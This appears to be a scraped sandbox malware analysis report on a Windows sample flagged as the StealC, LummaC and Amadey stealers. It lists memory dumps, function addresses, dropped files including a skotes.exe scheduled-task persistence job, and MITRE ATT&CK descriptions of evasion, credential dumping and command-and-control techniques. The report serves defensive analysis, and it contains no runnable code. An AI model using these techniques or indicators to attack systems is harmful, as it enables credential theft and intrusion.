Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: c1752c6564d5112035776d6ad6f61b206cacc0750fe5ae89353dbdbc6511bc8f
Instruction ID: badc8b146d7647ffc69675b6cce180abdfe25ee67e11397fb9f3a81c4fa93618
Opcode Fuzzy Hash: c1752c6564d5112035776d6ad6f61b206cacc0750fe5ae89353dbdbc6511bc8f
Instruction Fuzzy Hash: 20E086344B0248B7CF26FA55D847ADD77749B11789F94C126B814510919BF497B8CE81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mDuCbT8LnH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe

C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Windows\Tasks\skotes.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
mDuCbT8LnH.exe

Function 00A45C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Function 00A49BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Function 00A49F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Function 00A4A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Function 00A4A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Function 00A4A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Function 00A4A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Function 00A4A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Function 00A49ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Function 00A4A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Function 00A4A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Function 00A47D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Function 00A7D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre